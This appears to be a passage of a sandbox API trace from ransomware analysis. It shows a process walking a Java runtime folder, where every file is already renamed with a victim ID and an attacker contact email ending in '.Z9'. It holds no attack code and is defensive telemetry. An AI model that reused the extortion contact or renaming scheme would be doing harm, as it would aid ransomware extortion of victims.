	[0189.706] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x438be042, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x438be042, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43956b71, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4134, dwReserved0=0x0, dwReserved1=0x0, cFileName="ktab.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="KTABEX~1.Z9")) returned 1
	[0189.706] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x439a2de7, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x439a2de7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43a15530, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x39134, dwReserved0=0x0, dwReserved1=0x0, cFileName="lcms.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="LCMSDL~1.Z9")) returned 1
	[0189.706] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4397cc37, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4397cc37, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x439a2de7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9140, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="MANAGE~1.Z9")) returned 1
	[0189.706] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4397cc37, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4397cc37, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43ad41b1, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9fb40, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlib_image.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="MLIB_I~1.Z9")) returned 1
	[0189.706] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4397cc37, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4397cc37, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43bb9168, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xa139c, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="MSVCP1~1.Z9")) returned 1
	[0189.706] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x439a2de7, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x439a2de7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43a87bc5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xca84c, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="MSVCR1~1.Z9")) returned 1
	[0189.706] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43a3b7bc, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43a3b7bc, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43f265c3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xeb39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="MSVCR1~2.Z9")) returned 1
	[0189.707] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdf4bf, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43bdf4bf, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43bdf4bf, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17b32, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="NETDLL~1.Z9")) returned 1
	[0189.707] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdf4bf, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43bdf4bf, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43f98c4f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xed32, dwReserved0=0x0, dwReserved1=0x0, cFileName="nio.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="NIODLL~1.Z9")) returned 1
	[0189.707] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c056ba, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43c056ba, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43c056ba, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4b32, dwReserved0=0x0, dwReserved1=0x0, cFileName="npt.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="NPTDLL~1.Z9")) returned 1
	[0189.707] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c056ba, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43c056ba, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43c2b71e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4134, dwReserved0=0x0, dwReserved1=0x0, cFileName="orbd.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="ORBDEX~1.Z9")) returned 1
	[0189.707] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c2b71e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43c2b71e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43c51ae3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x413a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pack200.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PACK20~1.Z9")) returned 1
	[0189.707] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin2", cAlternateFileName="")) returned 1
	[0189.707] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\*", lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3fb2258
	[0189.708] FindNextFileW (in: hFindFile=0x3fb2258, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0189.708] FindNextFileW (in: hFindFile=0x3fb2258, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c51ae3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43c51ae3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43d367d2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xca84c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcr100.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="MSVCR1~1.Z9")) returned 1
	[0189.708] FindNextFileW (in: hFindFile=0x3fb2258, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44031517, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x44031517, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x441163c2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x39536, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="npjp2.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="NPJP2D~1.Z9")) returned 1
	[0189.709] FindNextFileW (in: hFindFile=0x3fb2258, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44031517, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x44031517, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x441163c2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x39536, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="npjp2.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="NPJP2D~1.Z9")) returned 0
	[0189.709] FindClose (in: hFindFile=0x3fb2258 | out: hFindFile=0x3fb2258) returned 1
	[0189.709] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39725e0 | out: hHeap=0x750000) returned 1
	[0189.709] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43eda099, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43eda099, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43f265c3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4140, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="POLICY~1.Z9")) returned 1
	[0189.709] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43f265c3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43f265c3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43f4c772, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xe144, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_common.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PRISM_~1.Z9")) returned 1
	[0189.710] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43f4c772, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43f4c772, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43f729ac, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1ff3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_d3d.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PRISM_~2.Z9")) returned 1
	[0189.710] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43f4c772, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43f4c772, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43f729ac, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17f3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_sw.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PRISM_~3.Z9")) returned 1
	[0189.710] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43f729ac, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43f729ac, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x4424766e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="RESOUR~1.Z9")) returned 1
	[0189.710] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43f98c4f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43f98c4f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43fbee4f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmid.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="RMIDEX~1.Z9")) returned 1
	[0189.710] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fbee4f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x43fbee4f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x43fbee4f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4142, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmiregistry.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="RMIREG~1.Z9")) returned 1
	[0189.710] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x443c4e3b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x443c4e3b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="server", cAlternateFileName="")) returned 1
	[0189.710] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\*", lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x443c4e3b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x443c4e3b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3fb2318
	[0189.712] FindNextFileW (in: hFindFile=0x3fb2318, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x443c4e3b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x443c4e3b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0189.712] FindNextFileW (in: hFindFile=0x3fb2318, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xab35b530, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xab35b530, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x44948511, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1290102, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="classes.jsa.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="CLASSE~1.Z9")) returned 1
	[0189.712] FindNextFileW (in: hFindFile=0x3fb2318, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x449e126e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x926d3a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="jvm.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="JVMDLL~1.Z9")) returned 1
	[0189.712] FindNextFileW (in: hFindFile=0x3fb2318, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3788b3ca, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3788b3ca, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3788b3ca, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x678, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Xusage.txt.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="XUSAGE~1.Z9")) returned 1
	[0189.712] FindNextFileW (in: hFindFile=0x3fb2318, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3788b3ca, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3788b3ca, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3788b3ca, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x678, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Xusage.txt.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="XUSAGE~1.Z9")) returned 0
	[0189.712] FindClose (in: hFindFile=0x3fb2318 | out: hFindFile=0x3fb2318) returned 1
	[0189.713] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39725e0 | out: hHeap=0x750000) returned 1
	[0189.713] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4413c66a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4413c66a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x441aee65, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4140, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SERVER~1.Z9")) returned 1
	[0189.713] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x441aee65, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x441aee65, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x4422136c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x32144, dwReserved0=0x0, dwReserved1=0x0, cFileName="splashscreen.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SPLASH~1.Z9")) returned 1
	[0189.713] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4422136c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4422136c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x4432c4e2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x8bb32, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssv.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SSVDLL~1.Z9")) returned 1
	[0189.713] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4424766e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4424766e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x4424766e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1133c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssvagent.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SSVAGE~1.Z9")) returned 1
	[0189.713] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4426d96a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4426d96a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x4430623b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x21336, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SUNECD~1.Z9")) returned 1
	[0189.714] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x443c4e3b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x443c4e3b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x44411351, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x7d3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SUNMSC~1.Z9")) returned 1
	[0189.714] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x443c4e3b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x443c4e3b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x443eafd2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3e532, dwReserved0=0x0, dwReserved1=0x0, cFileName="t2k.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="T2KDLL~1.Z9")) returned 1
	[0189.714] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44411351, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x44411351, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x44437483, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x413e, dwReserved0=0x0, dwReserved1=0x0, cFileName="tnameserv.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="TNAMES~1.Z9")) returned 1
	[0189.714] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44437483, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x44437483, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x4445d72f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13938, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="UNPACK~1.Z9")) returned 1
	[0189.714] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4451c2e3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x4451c2e3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x4464d64e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x3033e, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack200.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="UNPACK~2.Z9")) returned 1
